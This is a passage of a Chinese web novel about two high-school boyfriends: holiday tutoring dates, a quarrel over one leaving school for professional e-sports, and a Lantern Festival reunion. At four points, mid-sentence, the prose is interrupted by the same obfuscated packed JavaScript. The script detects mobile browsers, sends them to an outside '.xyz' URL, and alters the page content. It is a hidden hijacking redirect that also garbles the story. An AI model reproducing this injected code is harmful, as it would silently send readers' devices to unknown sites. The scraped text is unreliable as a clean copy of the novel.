“……”林少爷磨蹭着不肯收拾好书本的理由被男朋友一眼看破。 他偏过头去,欲盖弥彰地捏了下自己略微发烫的耳垂。 “那好吧。到时候……我考虑一下。” . 林藏初这份考虑并没能持续很长时间。 放假之后的几天里他经常会做梦,梦见离开学校的那天夜里北教学楼亮晶晶的灯条,周围的学生成群结队乌泱泱一片,潮水似地跑出校门。 到最后北教学楼前只剩下他和谢遥集两个人。谢遥集将他按在墙壁和花坛之间,鼻尖碰着鼻尖,很绅士地征询意见:“可以吗?” …… 没有然后,林藏初猛地惊醒了。 他第一反应就是掀开被子去瞧,果然不出所料。林大少爷低着脑袋,格外长久地沉默一会儿。 最后叹了口气,一骨碌地从床上爬起身,自暴自弃地搓了搓脸,拿着手机给男朋友发语音消息。 “……见个面?” 谢遥集过了几分钟才回:哪儿? “就一中旁边的公园吧。”林藏初按着语音键,没作他想地选了个离谢遥集家最近的地方,“半小时后见?” 聊天框上方的状态栏反复变化,最后发出来的气泡是个极为简短的单字。 谢遥集:好。 得到对方的肯定答复,林藏初立刻雀跃地扔了手机跳下床,三下五除二地穿好衣服。 他没和家里的其他人说,也没给李叔打电话,找了个没人的时机,一路鬼鬼祟祟地偷偷下楼,轻手轻脚地拉开家门。 五子棋正趴在玄关的地毯上小憩,被少爷开门时弄出的吱呀声吵醒,懒懒地睁了下眼。 看见棉帽围巾全副武装的林藏初之后,它有些好奇地叫了一声:“咪?” 林藏初将食指抵在唇边:“嘘——” 五子棋似乎是听懂了,它没再发出其他声音,毛绒绒的身体往旁边挪了挪位置,贴心地给主人让出一条足够出门的路,又趴下睡了。 二十分钟后,林藏初准时抵达约定位置。 今天的天气难得晴朗,公园里已经有不少聚众打牌的大爷,对二和三个五的吆喝声慷慨激昂,连绵不绝。 谢遥集还没有到,少爷趴在公园石桌上,开始百无聊赖地数麻雀。 一只两只三只很多只,灰色的身影在没有融化的雪地上蹦来蹦去,被偶尔路过的行人吓跑,很快又飞回原位。 整片的阳光顺着云层间隙暖洋洋地照下来,照得人有些昏昏欲睡。 “!”帽子忽然被人向上轻轻地拽了拽,林藏初捂着脑袋回头。 “罪魁祸首”早有预料,已经先一步收回手,正插着口袋好整以暇地望着他。 “……谢遥集,你又捉弄我!” 昏昏欲睡的林藏初瞬间反应过来,张牙舞爪地朝着对方扑过去,被谢遥集用两根手指抵着额头轻飘飘地推走。 “这是冤枉。” 谢遥集脸上一副无辜,甚至眼神里还隐隐带着被误会的楚楚可怜,结果演到一半,自己先忍不住笑出了声。 林藏初:“扯帽子会长不高,你知不知道……” 后面的话没再说。 因为他整个人都被谢遥集抱住了。 谢会长把脑袋埋在少爷厚实暖和的羽绒服里,闷闷地深吸一口气。 “……虽然才几天不见,但还是很想你。” 仅用两句把少爷所有的哼哼唧唧全都堵了回去。林藏初被抱得几乎有点喘不过气,迷迷糊糊地心想: 这句话应该是我的台词才对吧? 等谢遥集终于恋恋不舍松开他,在石桌旁边落座,林藏初才发现这人竟然还背了只沉甸甸的书包来。 不远处的其他石桌上,大爷们的牌局还在继续,正打得热火朝天。 谢遥集在林藏初的目光注视下,缓缓把自己书包里的东西一件一件地往外拿。 高中数学必刷题、小题狂做、黑白卷……还有足足砖头那么厚的状元笔记。 林藏初:“?” ???! 谢遥集表情坦然,把教辅和习题册在冰冷的石桌上一字排开。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607519|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天我们先选一本,剩下那些留着以后再做。” “你……” 林藏初颤颤地指着他,半晌都没说出来话。 约会气氛突变,少爷震惊到不知道要怎么组织语言,只好又退而求其次地指了指自己,是个难以置信的疑问字:“我?” 怎么跟梦里头的发展完全不一样啊! “你高一高二的基础有点差,寒假这十几天是唯一能补上来的机会。” 谢遥集看着他,语气认真到像是在考虑一件未来的人生大事。 “所以上一休三,怎么样?” 林藏初只觉得自己的天都塌了。 亲亲抱抱的幻想被男朋友残忍地用补课辅导打破,偏偏对方还是动真格的。 他其实有那么一瞬间犹豫着想要拒绝,但开口之前,又恍惚记起以前自己信誓旦旦向男朋友保证过的、“要一起学习”的誓言。 少爷向来不是一个会轻易违约的人,所以即使谢遥集的建议听起来有那么点儿天方夜谭,放在林藏初这个名字的前十八年里根本不会出现。 他也只是在答应这件事的时候,比答应其他事时多犹豫了两秒钟。 暧昧亲昵的约会最后变成了一对一辅导,无数或冗杂或简单的高考知识点夹杂着公园大爷们激烈的打牌声,一路畅通无阻地高速旋转进入大脑。 半个小时前他数过的麻雀已经一只接着一只扑棱棱地飞上交错的高压电线,蹦蹦跳跳地到处串门。唯独有一只可能是吃得太胖,只在地面上高度很低地扑腾几下,最后摆烂了。 林藏初看看那只胖麻雀,又看看自己,一种八竿子打不着的同命相怜感油然而生。 他叹了口气,视线又转回到桌面试卷密密麻麻的题目介绍上。 还没来得及说自己这道题不会,下巴就被人捏过去,在唇瓣上轻轻地亲了一下。 林藏初:“!” 谢遥集放开他:“不要走神。” 不得不说,这招对少爷确实很有效。两个多小时下来,林藏初被亲得晕乎乎的,脑袋里的知识点也被灌进去不少。 到最后谢遥集终于说要走,他还有些没反应过来,迷迷瞪瞪地问:“啊?” “今天就到这里。”谢遥集隔着帽子摸了摸他的脑袋,毛绒绒的手感很好,“我中午还有兼职要做。” 连个吃饭的时间都没有啊? 林藏初因为他的话一怔,整个人终于清醒了。 “嗯,因为只请了三个小时的假。” 猝不及防听见谢遥集的回答,少爷这才发现自己不知道为什么已经把心里话问了出来。 谢遥集的假期确实很忙,忙到就连见他这件事都是要从计划表里匆匆挤出来的空档。 林藏初张了张口,想说些什么,但其实他自己也不知道要说什么,只好道:“工作顺利。” 公园里还是很热闹,大爷们打的扑克牌局已经临近散伙,正忙着算钱。 其中某个大爷的嗓门儿一如既往地大,嚷嚷着谁少了给三块。 谢遥集挡着寒风,又轻轻地抱了下他。 “借男朋友吉言,会的。下次见。” 80.Chapter 80 两个人之间这种见缝插针的“假期会晤”一直持续很久,地点从公园里的石质桌椅转移到街边角落的奶茶店,又变成了人来人往的图书馆。 几乎县城里每个地方都有他们光顾的影子。 林藏初从一开始的稍不情愿,再到后来对此接受良好、享受居多,甚至在连续做对几道题之后还会主动凑上前去,避着人群悄悄向男朋友讨来一个浅尝辄止的吻。 自家哥总隔三差五地往外跑,饶是每天上午向来闭门不出的林子浔也发现了不对劲。 假期里无比寻常的一天,妹妹抱着枕头,睡眼惺忪地在楼梯间喊住他。 “哥,你最近怎么总是起这么早?” “……早睡早起身体好。” 林藏初被当场抓包,面色不改,提前编造好的借口终于派上用场:“而且冬天早晨出门有助于血液循环,咱妈叫我多出去运动运动。” 林子浔:“?” 她怎么没听妈说过这事儿? 林藏初一本正经地瞎扯完,干咳两声。趁妹妹还没彻底清醒,步伐飞速地跑下楼,连半个背影都没给人留:“不和你说了。” “我赶时间,先走了。” 客厅的门被他重重关上,玄关处窝着的猫早已见怪不惊,连眼皮都没睁开,仍然沉稳酣睡在梦里。 林子浔站在红木楼梯上,独自凌乱地思考了一会儿。 ……出门运动竟然也要赶时间。 是不是有点过于讲究了? 在别墅区外坐上出租车的少爷并不知道自己已经在十几分钟前被妹妹盖上了个“讲究人士”的戳,他随手按开手机,屏幕上面是与谢遥集的聊天界面。 对方发来的定位显示在xx咖啡店,林藏初每次坐着李叔的车上学时都会恰好路过,有些印象。 之所以会有印象,还是因为这家咖啡店十分别出心裁地将临街的外墙装修成了一整面巨大的玻璃橱窗。 橱窗里养着好几只可爱的猫咪,整天悠闲享受地晒太阳。猫爬架上挂着块歪歪扭扭的木牌,写着:非卖品。 “非卖品”的店主是个很漂亮的年轻姑娘,林藏初推开门的时候,她正在盯着墙上的壁挂盆栽发呆。 兴许是谢遥集提前打了招呼,看见林藏初进店,她懒懒地支起身,从柜台端出来一杯热腾腾刚做好的香草拿铁。 “喏。在楼上等着呢,快去吧。” 刚要点单的林藏初:“……?” 他敢肯定,自己之前从没来过这家店。 怎么店主的语气好像早就认识他一样? 少爷端着咖啡一边上楼一边沉思,谢遥集已经在靠窗的卡座上等他,桌面上摊开的习题册旁边放着几份精巧别致的甜点。 林藏初在他对面坐下,有些诧异地问:“你点的?” 谢遥集:“不是,老板送的。” “……送的?” 林藏初盯着几乎摆满整个桌面的蛋糕盘子,教辅书和试卷被可怜地挤去角落,谢遥集的手指搭在上面。 “对,送的。” 谢遥集把试卷翻回到前一页去,按动笔在桌面上倒着按了下,熟稔地标出重难点。 看见少爷难以理解的表情,又想起来自己还有个解释的义务:“我以前在这里打过工,算是熟人。” ……在咖啡店打工? 林藏初之前没听谢遥集提过,登时好奇地问:“那你在这里干了多久啊?” 谢遥集:“……你想知道?” 林藏初:“嗯!!” 谢遥集放下手里的卷子,视线认真地落在少爷的脸上,似乎有些难以启齿。 “两天。” 他深吸一口气。 “严格意义上来说,其实是一天半。” 林藏初:“……?” 少爷的眼睛缓缓瞪大了。 “一天半?!你是把人家后厨炸了然后被老板扫地出门了吗?” “嗯……没有,但是也差不多。” 谢遥集像是回忆起那段糟糕的工作经历,牙疼地抽了下嘴角,“只不过是一个小时内做毁十杯咖啡而已。” “店主不信邪,亲自下场教我拉花。从最简单的开始——那天我们俩加起来一共喝了二十三杯咖啡。” 林藏初:“……” “所以你俩的关系就是这么变好的?” “对。”谢遥集坦荡地一点头。 “零基础不恐怖,恐怖的是零基础又教不会。老板说她没有见过第二个比我更笨的人了,实在印象深刻,必须交个朋友。” “那时候才高一,正是心高气傲的时候。”他顿了下,似乎是自己也觉得好笑,“隔三差五地就要死乞白赖地过来店里练练手。” “所以你最后学会了吗?” 林藏初问。 谢遥集:“……没有。” 难得能在男朋友脸上看见吃瘪的表情,少爷一秒破功地笑出声。 然后就被谢遥集秋后算账,照着脑袋狠狠地胡撸了一把:“不许笑,做题。” “还有前天那套理综卷子上的错题,你什么时候重新看一遍?” “啊——” 念咒的话一出来,林藏初马上伸直胳膊瘫倒在卡座的椅子里,装死不动弹了。 谢遥集扔下卷子去挠他胳肢窝。 少爷半个回合都没撑住,在座位上四处逃窜地边笑边告饶:“哎呦错了!哈哈我错了!我这就写,别动我了哈哈哈哈!哥!” 谢遥集停下动作:“你叫我什么?” 林藏初被压在他身下,也没细想对方这句问话的含义,卡碟倒带似的把最后一个字按着要求重复:“……哥?” “唔!” 眼前视野一黑,只来得及发出半个音节,少爷的嘴巴就叫人给堵上了。 谢遥集把外套盖在两个人的脑袋外面,没给他一点换气的机会。 林藏初被亲得七荤八素,本就缺氧的脑袋变得更晕了。修长漂亮的手指胡乱地到处抓,被谢遥集十指相扣强硬地按在椅背上。 不知过了多久,温暖宽大的羽绒服终于掀开。林藏初被男朋友剥壳一样地扒出来,整个人像极了一只熟透的油焖虾。 少爷仰躺在座位上急促地喘着气,越想越觉得憋屈,伸手往谢遥集的后背砸了一拳。软绵绵的,没什么力道。 “你这叫耍赖。” “对。”谢遥集很配合地对这份指控供认不讳,开玩笑似的接话,“就是耍赖。所以少爷要怎么惩罚我?” 林藏初想了想:“罚你开学之后见不到我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642495|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么可能?”谢遥集没把他的话当真地,失笑道,“座位上抬头不见低头见的,你要连桌子都一起搬走吗?” “我说真的!” 林藏初一骨碌地从座位上爬了起来。上和下的相对位置调换,胳膊撑在谢遥集身侧,像是投怀送抱。 “谢遥集,我……” 话说到一半倏地卡了壳,林藏初张了张嘴,忽然意识到自己竟然从来没有和对方提起过。 那封青训营的入选邮件躺在他的手机里,距今已经半个月。 谢遥集对游戏这方面的东西向来不感兴趣,所以他理所当然地认为自己要去打电竞这件事早说晚说都一样。 可等真正提起的时候,林藏初才发现根本没那么容易说出口—— 分开就意味着见不到面,见不到面就意味着,他和谢遥集再不能像今天这样依偎亲昵。 “……我下学期可能不在学校了。” 少爷不敢去看对方的眼睛,“所以,嗯,倒也不用把桌子都搬走。” 被他按在座位上的谢遥集:“?” “对,是的。我要去打职业了。” 林藏初深吸口气,本着长痛不如短痛的坦白原则,一股脑地把要讲的话全说完。 “过完年就要签合同,去那边集中训练,可能十天半个月都不会回来一次。” “所以你下学期见不到我了。” 谢遥集:“……?” 太过荒谬,他第一反应是不信。 但视线触及到林藏初抿唇认真的神色,这些话好像又不得不信。 向来运筹帷幄、喜欢把一切计划安排得有条不紊的谢会长头一回觉得有些茫然。 他皱着眉,几乎是下意识地出声问:“那五个月之后的高考呢?不考了?” “可能吧。” 林藏初心虚地别过脸,含糊不清地回答道,“反正考了也是白考……” 剩下的半截话没有说完,因为他试图逃避的脑袋忽然被谢遥集用力扳正,半强迫似的彼此对视。 距离实在太近,少爷将对方瞳孔里的情绪看得一清二楚,他动作一顿,很突然地就不挣扎了。 原本要说的话也临时换成另外一句。 “……你生气了?” 谢遥集捏着他肩膀的力道有些重。 话里不答反问:“你要辍学?你父母知道这件事吗?” “跟这个有什么关系……嘶!别掐我,好疼——是不是因为我没有提前跟你说,所以你生气了?” 林藏初的后腰抵上桌沿,试卷和课本在两个人的动作间哗啦啦地散了一地。 一阵沉默。 而后他听见谢遥集说:“我不同意。” “做任何一个重大决定之前都要先征询家属意见,这么简单的道理你不懂?” 林藏初:“……?” 因为忘记早点告诉男朋友这件事而产生的愧疚和心虚一扫而空,他有点生气了。 “谢遥集,我是来通知你的!不是来商量你的!” 林藏初很少用这么愤怒的语气叫谢遥集的全名——就连高一高二互相看不惯的时候也只会阴阳怪气地喊一声谢神,“这是我自己早就决定好的事!我自己!的事!” “为什么非要过问你的意见?” 81.Chapter 81 那天咖啡店里的每一帧每一幕,都被谢遥集翻来覆去地回忆过很多遍。 期待已久的见面最终在赌气争吵中不欢而散,就连店主徐荔友情赠送的新品也一口都没动。 临走时徐荔来二楼收盘,看见桌面上崭新的两副餐叉,一改先前在柜台后面的懒洋洋的散漫样子,惊恐地问他是不是新品甜点不合口味。 谢遥集站在座位旁边勉强笑笑,只说自己是牙蛀了,吃不了甜的。 徐老板又问,那另一个小帅哥呢,怎么先下楼走啦? “因为有事。”谢遥集没有做多回答,语气里带了几分歉意,“他很喜欢你做的咖啡。甜点还没能来得及吃,抱歉。” 这句转移话题的借口算不上是精妙,但朋友一场关系相近,故意遮掩也没什么意义。 徐荔似乎是看出来了其中蹊跷,张了下口,最后什么话也没问,只叹着气拍了拍他的肩膀。 “不差这一次,以后常来。” 聊天记录终止在这天的咖啡店定位,两个人开始了谈恋爱之后的第一次正式僵持。 谢遥集在忙碌的兼职工作中会偶尔想起桌面上那杯凉掉的香芋拿铁。 林藏初走后他端过来试着喝了一口。里面加了很多很多的糖,不是自己以前习惯的口味。 甜得有些发苦。难喝。 没过热恋期的小情侣心高气傲,谁都不愿意低头,小打小闹的拌嘴演变成无限延期的冷战。 但除夕夜这天,谢遥集收到了林藏初的群发祝福。 烟花和礼炮的表情混在一大堆长长的新年贺词里,一看就是从网上复制粘贴的。 谢遥集的回复语还没来得及打出去,对面就又开始噼里啪啦地弹消息。 红包和转账齐飞,中间夹杂着长长短短的语音条。 点开一听,背景音是遥远炸开的烟花,空白几秒之后忽然出现林藏初含糊不清的声音。大着舌头,好像又喝高了。 但还勉强能听出来是句新年快乐。 “……”谢遥集手指长按删除键,把那句敷衍的“同乐”给删掉了。 斟酌许久,换成另外几个字。发送。 不短不长的气泡刚发出去不到一秒,对面就又蹦了条语音过来,这次能完全听清了。 不同于上几条那些喧闹嘈杂的背景音,空灵安静还隐隐带着回声,似乎是躲在卫生间里面发的。 “你也是!!祝万事顺遂!新年快乐!!!” 临水县的除夕没有烟花禁令,谢遥集只来得及把少爷的祝福语音听了半截,窗外绚烂的烟花就接二连三地炸开,热热闹闹地盖过手机扬声器里传出的细微声音。 于是谢遥集又点开,放在耳朵旁边重新听了一遍。 ……好像还真是喝了不少。 连尾音都粘腻发软地拉长,两秒钟的语音条被林小少爷硬生生地讲到十几秒。 喝醉的时候是这样。 被弄哭的时候也是这样。 刚剥离不过几天的占有欲又有要卷土重来的迹象,谢遥集叹了口气,从窗边站起身。 去浴室里洗了今年的第一场冷水澡。 林藏初第二天一醒来头痛欲裂,Q/Q里面全是未读的99+,被取消的置顶不知道什么时候自己回来了,最新一条是带着小红点的“晚安”。 少爷呆滞地盯了一会儿那个初始企鹅头像,以及自己前些天带着泄恨目的修改好的备注——“全自动滚蛋洗衣机”。 ……根本没有勇气点开看。 昨晚醉酒时那些乱七八糟的记忆不顾主人的拒绝意愿,打年糕似的吨吨吨全部被怼进他的脑子里,成了一摊劲道圆润的浆糊。 他清楚地记起来自己无比撒娇的语气。 明明前脚还誓死不相往来,后脚就喝多躲在卫生间里,软着嗓子偷偷地给人家发语音消息。 “……” 哈哈,他妈的,死了算了。 林藏初简直这辈子都没这么丢脸过,他木着脸退出新春版Q/Q消息界面,平心静气地做了三个深呼吸。 然后绝望地心想,要是房间里有地缝该多好,又或者记忆能像电脑里的Ctrl+Z一样快捷撤销。 这样他就能免遭此难——至少在心理上还算过得去。虽然有掩耳盗铃的嫌疑。 五子棋在地毯上漏肚皮睡得四仰八叉,林藏初盯着它看了半晌,越看越觉得猫的性格像第一任主人的说法不靠谱。 这到底哪里像了?根本一点也不像。 他又想起来谢遥集那句让人生气的话。想起自己那些稀奇古怪的、与这个人有关的梦。 想起咖啡店里那整整一桌没有来得及吃的甜点。还有那个没亲完的吻。 少爷搓了搓脸,长长地哀嚎一声,自暴自弃把自己整个人脸朝下摔进被子里。 很是逃避地心想—— 就当是提前适应好了。 剩下这半个月,就别再见面了吧? - 高三生的寒假只放到正月初七,谢遥集每天七个小时睡眠的好日子遗憾到头,又开始了网吧、学校和家三点一线的忙碌生活。 兴许是昨天夜班上得太晚,作息还没调整过来,开学那天他罕见地迟到了。 赶到班级的时候早读已经结束,班主任坐在讲桌后面,视线审视地落在他身上,幽幽说出那句很经典的话:“下次早点儿来。” 难得能看见年级第一也迟到,周围的同学齐刷刷地抬起脑袋。 一堆好奇善意的注视追着谢遥集直到他回座,然后惊奇发现,这人旁边的座位竟然也是空的。 高三(1)班的同学们不约而同地倒吸一口冷气,登时有了下一个要同情的目标。 但他们这份早已准备好的“同情”一直留到晚自习放学也没能用上。 下课铃响过两巡,满肚子疑问憋了一早上的周扬终于找到机会,在谢遥集拎着书包要走的时候拦住他:“谢神,林哥……他今天怎么没来啊?” 被拦住的谢遥集看了他一眼,表情平静地回答:“有事。请假了。” “……请假了?” 周扬怎么想都感觉这词跟他林哥不搭边,还想继续问具体原因,但是觑见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672942|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢遥集发冷的神色,又有些不敢问了。 谁知只不过是几秒钟愣神的功夫,谢神就已经绕开他,长腿一跨,很迅速地走了。 留下周扬一个人在原地,被其他同学揶揄:“怎么,林哥难得请假不在,你想他啦?” “去去去,瞎说什么!”周扬瞬间打了个激灵,下意识地往门口谢遥集离开的背影看,确认对方没有听到这句话后松了口气。 心里却还是疑惑。 他林哥向来把翘课当饭吃,但像这种一整天都没出现的情况却从未有过。 ……今天这是怎么了?生病了? “生病”的林藏初连着一星期都没有来学校。 各科老师上课时不时就往这边的空座位看两眼,然后又会对上谢遥集平静回视的目光。 过来打听八卦的同学把座位围得水泄不通,有交集的和没有交集的,跟少爷关系好的或者一般的。 谢遥集起初还会用借口搪塞过去,但好奇的人不减反增,谢遥集被问得烦,终于对所有人都一视同仁地冷了脸。 林藏初自从除夕那天过后再没给他发过消息。所以谢遥集其实也不知道这人现在是什么情况,计划又进行到了哪一步。 倒是看见班主任在自习课上接起过一通电话,拿着手机紧锁眉头地去了门外走廊。 聊天通话的声音回荡在空旷的走廊里,断断续续地从门缝传进来,谢遥集坐在中间排听不太清,但是隐隐约约地有种第六感,这通电话是跟林藏初有关。 他的猜测确实没错。 因为下课之后,座位离班级前门最近的方有才忽然“唰”地一下从椅子上跳起来:“我靠,大事儿!大事儿!!” 他弹簧似的蹿进人群里面,讨论作业的同学包围圈被硬生生挤开一个豁口。 立刻有人骂:“丫的,你他妈吃牛草料长大的啊?桌子都撞歪了……啥事儿?” “特大的事儿!!”方有才皱着眉,表情简直跟贝姐拿着手机出去之前如出一辙,“刚听到的。我说完了你们别不信。” “讲个八卦废话咋那么多?”高姿捧着没写完的数学卷,气势汹汹地一拍桌子,“你到底说不说?不说边儿去!” “我说我说!”方有才反件反射地缩了下脖子,在众人的注视下深吸一口气,语速飞快道,“我刚才听见贝姐在外面讲电话,好像是说什么休学……” 他顿了顿,似乎自己也有点不太相信:“可咱班最近只有林哥一个没来的。” “所以……” “所以你这是瞎扯犊子吧?” 高姿啪嗒一声把手里的数学卷放下了,桌面上的水杯被她的力道拍得晃了三晃。 其他人也面露惊愕,甚至更远处原本做着题的、跟同桌闲聊的全都竖了耳朵。 “……我哪儿有!” 方有才被她堵了话,面红耳赤地嘟囔着反驳,“都是亲耳听见的,不信算了。” 他说得有理有据,原本吵吵闹闹的班级气氛一时陷入凝滞。八卦中央的几个人你看我我看你,还是不敢相信这个有些空穴来风的消息。 82.Chapter 82 有人大着胆子,小声提议:“要不再去问问……那位?” 他指的“那位”自然是谢遥集。 虽然之前学神的态度一直是无可奉告,但是万一呢? 大家左思右想地商量一会儿,觉得确实是个办法。两个人当了那么长时间的同桌,不说完全知根知底,起码也能有所耳闻吧? 谢神肯定也不希望林哥休学。 半分钟后,“谈判代表”十分倒霉地捏着自己抽中的签,战战兢兢地往谢遥集座位的方向走。 其他人屏息凝神,视线追随着他的步伐一同缓缓移动。 然而他们料想中的,两个人紧张刺激的交涉场面并没有发生。 同学走到谢遥集的桌子前面,刚想伸手去拍对方肩膀,又不知为何动作忽然顿住了。 ——他看见谢神半抵着脑袋,坐姿端正,没写完的物理卷摊在桌面上。 只是两只眼睛都是闭着的,没在看题,也没在看人,就这么以一个认真学习的姿势,悄无声息地睡着了。 同学:“……” 不愧是年级第一,老师眼里的模范三好学生,下课困成这样了都还在学。 他叹口气,动作僵硬地转过身,对着远处翘首以盼的一群人做了个摊手的动作,然后摇摇头,比着口型道:在睡觉呢,问不了。 班级后面霎时小小声地传来一片失望哀嚎。 打探消息的同学无功而返,蹑手蹑脚地原路返回。他没看见的是,在自己转身离开后的第六秒,原本在座位上“睡觉”的谢遥集随之睁开眼睛。 笔尖慢悠悠地落在卷面上,在题目后面一笔一划写了个“解”。 他撑着头的姿势没变,动作间幅度很小,只写完这一个字,就没有再接着往下写。 孤零零的“解:”形单影只地挂在题目下方的大片空白里,谢遥集盯着它看了几秒。 几个月前的林藏初一道物理大题都不会做,但偏偏物理老师又一时兴起地要抽查课后作业。 林藏初在把习题册推给他之前,觉得自己也不能一点不写,于是尽职尽责地把每道题的解和冒号都写完了—— 在考场上总价值一分,相当于一整个操场的学生,珍贵得很。 谢遥集拿到卷子,发现少爷一手烂字儿写得像狗爬,龙飞凤舞地挤没了所有他能填答案的地方。 最后的结果是两个人都被老师拎着耳朵骂了一顿。 训林藏初的理由是破坏卷面,训谢遥集的理由则是“能不能好好监督你同桌”。 谢遥集从过往的回忆里缓过神,很轻地勾了下嘴角。 像是舀了半勺蜜糖似地反反复复地尝,等到尝完了,又想起来如今两个人早已冷寂下去的聊天框。 咖啡店里那场关于“未来和以后”的争吵无疾而终,又在除夕夜被醉酒的少爷用语音条狂轰乱炸地捣了个稀巴烂。 导致谢遥集也不知道,他们这样到底算是进行到了情侣吵架流程环节的哪一步。 他其实很想问的,想问林藏初是一时兴起还是什么,想问林藏初如果走了还会回来吗。 但是谢遥集什么都没说。 他怕自己忍不住,忍不住去对这件事产生情感上的偏颇,忍不住去恶劣地阻止。 这份顾虑一直留到第二天的元宵节。 学校恰好把月考也安排在这天,等谢遥集连着答完四门考试,终于回家糊弄完晚饭的时候,天已经黑了。 外面早已开始热闹地放起烟花,谢遥集收拾好碗筷,坐在书桌前发了会儿呆,忽然鬼使神差地想出去转一转,透口气。 小县城的元宵节甚至比新年还要热闹,家家户户都领着孩子出来看花灯,绚烂的烟火一茬一茬地在漆黑的夜空中炸开。 公园里的树已经被缠上了五颜六色的灯串,有的螺旋向上,有的是巨大爱心,还有的从远处看就像一只憨态可掬的兔子。 楼下的夜摊老板在卖琳琅满目的手摇花,小孩子们和大人叽叽喳喳地挤在一起讨价还价,热闹得很。 几个高中生正在不远处的湖边小心翼翼地放孔明灯许愿,谢遥集站在原地看了一会儿。 半分钟后,点着火的孔明灯晃晃悠悠地离开地面,向着高空飞去,几个学生欢呼雀跃地喊着鼓掌。 谢遥集随即敛了视线,从旁边安静地绕过去,走到湖中央的四角凉亭。 冷到略微僵硬的手指从外套的口袋里掏出手机,按开屏幕。下意识地点开Q/Q。 谢遥集点进置顶的聊天框,打了几个字又犹豫再三,最后还是长按删除键,把刚打出来的“我们谈谈”给删掉了。 他想起来林藏初离开咖啡店时的那些话。又觉得其实错在自己。 林藏初从来不是离经叛道,他对自己想要什么清楚得很,不受其他任何人的置喙。 跟自己完全不一样。 谢遥集长长地吐了口气,手指又在键盘上按:对不起。 他盯着消息框里没发出去的这三个字微微出神,片刻后又点了删除键。 ……没头没尾的。 不是很想在发出去之后就被少爷秒扣问号。 聊天框的编辑界面删删减减,甚至周围玩耍的人群都换了一轮又一轮,从喧嚣到寂寥,到最后谢遥集还是没能凑出来一段完整的话。 偌大的湖心亭里只剩他一个人,谢遥集的视线终于舍得从手机屏幕上挪走。 远处结冰的湖面上不知被谁放了几盏花灯,盈盈地发着亮。 还是算了吧。 他把手机屏幕按灭,像是劝慰自己一般地摇头道。 像林藏初这样的人有自己的路要走,而不是被三角函数和之乎者也困住。 就是不知道,没心没肺的少爷有没有在未来留个位置给他。 可能有,也可能没有。 谢遥集想,他到底没能躲过去,还是落到了这种等待审判的地步。 他叹了口气,颇有些自嘲地把手机揣回口袋,在夜风中又站了一会儿,打算回家。 ……还没来得及离开,身后忽然响起一阵急促的脚步声。 由远及近、毫无规律可言,但踩在地上的每一步谢遥集都熟悉得像是听过千百遍。 然后他就听见林藏初的声音。 谢遥集动作很慢地转过身,看见少爷向他跑过来,站定,气喘吁吁地按着膝盖。 “果然是你啊……我真的没看错。” 林藏初外面只套了件加厚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699540|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲锋衣,脑袋上没戴棉帽,脖子上也没有围巾。 谢遥集怔怔地看着他,心脏剧烈地开始跳起来,连眼睛都忘记眨。 他的视线落在这人被冻得发红的耳尖上,有很多的话想问,比如为什么忽然来见他,比如最近没来上学是在忙什么,又比如做好的决定还有没有转圜余地。 但谢遥集张了张口,最后出来的话却是:“……这么冷,怎么不多穿些?” “因为想见你。” 林藏初气还没喘匀,直起身又缓了缓,一句话被他分成两句讲,“所以,出门走得有些着急。” “……” 剩下的话没有说,因为谢遥集忽然上前一步,死死地将他抱进了怀里。 少爷吓了一跳,但意料之外地没有挣扎。他没问这些天为什么谢遥集不发消息,也没讲那些大道理,山盟海誓。 他抱着谢遥集的后背,视线有些躲闪,又像是下定什么决心地深吸一口气。 “我明天就要走了。早上七点的飞机。” “……嗯。” 林藏初:“我想了想,觉得还是应该见上一面。以后想你的时候才能以防万一。” “……嗯。” 谢遥集听见自己胸腔里鼓噪的心跳声,大脑轰鸣,在别离的既定事实前如同海啸席卷而过、淹没所有。 良久,这场紧密的拥抱终于结束。 他把人放开,声音很轻地问:“真的想好了?” 被压抑的情绪和无处释放的占有欲交缠在一起,无法剥离。 